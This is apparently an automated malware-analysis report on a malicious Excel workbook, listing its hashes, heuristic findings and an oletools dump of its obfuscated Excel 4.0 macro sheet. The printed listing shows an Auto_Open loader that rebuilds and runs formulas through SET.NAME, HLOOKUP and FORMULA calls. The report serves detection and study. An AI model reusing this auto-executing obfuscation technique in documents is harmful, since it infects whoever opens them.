Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 023e7c318ef3983a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:02 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 57d802a4f542ca7e1f675bb0936fb2eb SHA-1: 709bbead97cbbd0071fa4412225dfcd1e8edd52e SHA-256: 023e7c318ef3983ade787dd03b90ff035210043b8adaf132cb9371bfa8929445
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6667 bytes
SHA-256: 5fb80f9231f018bd6f7cda0f45710f2f8c4c767a53891bf54ed3d40c6e51052a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xhYBPQyhVQu
' 0018     25 LABEL : Cell Value, String Constant - aJFpmMUhzp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E164 
' 0018     20 LABEL : Cell Value, String Constant - bmTvI len=0 
' 0018     20 LABEL : Cell Value, String Constant - Btzkq len=0 
' 0018     23 LABEL : Cell Value, String Constant - IcVEObaq len=0 
' 0018     21 LABEL : Cell Value, String Constant - iPvMOr len=0 
' 0018     23 LABEL : Cell Value, String Constant - itthMAva len=0 
' 0018     22 LABEL : Cell Value, String Constant - IxLOhRB len=0 
' 0018     20 LABEL : Cell Value, String Constant - jZXEm len=0 
' 0018     26 LABEL : Cell Value, String Constant - kPPkvWxSdZt len=0 
' 0018     21 LABEL : Cell Value, String Constant - OAYvXU len=0 
' 0018     25 LABEL : Cell Value, String Constant - pbansUcCbo len=0 
' 0018     21 LABEL : Cell Value, String Constant - pnWvtA len=0 
' 0018     22 LABEL : Cell Value, String Constant - PQaEaVw len=0 
' 0018     26 LABEL : Cell Value, String Constant - qcoTCCrxuGg len=0 
' 0018     22 LABEL : Cell Value, String Constant - rfhpeXg len=0 
' 0018     24 LABEL : Cell Value, String Constant - rUStdVbrV len=0 
' 0018     22 LABEL : Cell Value, String Constant - xWdOISR len=0 
' 0018     27 LABEL : Cell Value, String Constant - YBmUGIbYLRVf len=0 
' 0018     27 LABEL : Cell Value, String Constant - zATVRXxhWSxH len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZBkthGpWI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xhYBPQyhVQu,E69,"SET.NAME("xWdOISR",VALUE("0"))",""
'  xhYBPQyhVQu,E74,"SET.NAME("IcVEObaq",xWdOISR)",""
'  xhYBPQyhVQu,E79,"SET.NAME("OAYvXU",xWdOISR)",""
'  xhYBPQyhVQu,E81,"SET.NAME("ZBkthGpWI",COUNTA(iPvMOr))",""
'  xhYBPQyhVQu,E86,"SET.NAME("kPPkvWxSdZt",COUNTA(rfhpeXg))",""
'  xhYBPQyhVQu,E89,[],""
'  xhYBPQyhVQu,E94,"SET.NAME("pnWvtA","")",""
'  xhYBPQyhVQu,E99,"IcVEObaq",""
'  xhYBPQyhVQu,E101,"SET.NAME("jZXEm",HLOOKUP("*",iPvMOr,IcVEObaq,FALSE))",""
'  xhYBPQyhVQu,E106,"rUStdVbrV",""
'  xhYBPQyhVQu,E109,"SET.NAME("YBmUGIbYLRVf",xWdOISR)",""
'  xhYBPQyhVQu,E114,[],""
'  xhYBPQyhVQu,E117,"YBmUGIbYLRVf",""
'  xhYBPQyhVQu,E122,"aJFpmMUhzp",""
'  xhYBPQyhVQu,E126,"PQaEaVw",""
'  xhYBPQyhVQu,E131,"bmTvI",""
'  xhYBPQyhVQu,E133,"SET.NAME("IxLOhRB",VALUE(HLOOKUP("*",rfhpeXg,bmTvI,FALSE)))",""
'  xhYBPQyhVQu,E136,"pbansUcCbo",""
'  xhYBPQyhVQu,E139,"pnWvtA",""
'  xhYBPQyhVQu,E141,"OAYvXU",""
'  xhYBPQyhVQu,E145,NEXT(),""
'  xhYBPQyhVQu,E149,"zATVRXxhWSxH",""
'  xhYBPQyhVQu,E154,"SET.NAME("f",INT(T(FORMULA(T(pnWvtA)&"",""&T(zATVRXxhWSxH)))))",""
'  xhYBPQyhVQu,E157,"qcoTCCrxuGg",""
'  xhYBPQyhVQu,E160,NEXT(),""
'  xhYBPQyhVQu,E162,RETURN(),""
'  xhYBPQyhVQu,E188,"SET.NAME("Btzkq",E69)",""
'  xhYBPQyhVQu,E193,"iPvMOr",""
'  xhYBPQyhVQu,E198,"SET.NAME("rfhpeXg",R92C14)",""
'  xhYBPQyhVQu,E203,"SET.NAME("qcoTCCrxuGg",210)",""
'  xhYBPQyhVQu,E205,"SET.NAME("itthMAva",5)",""
'  xhYBPQyhVQu,E209,Btzkq(),""
'  xhYBPQyhVQu,E210,HALT(),""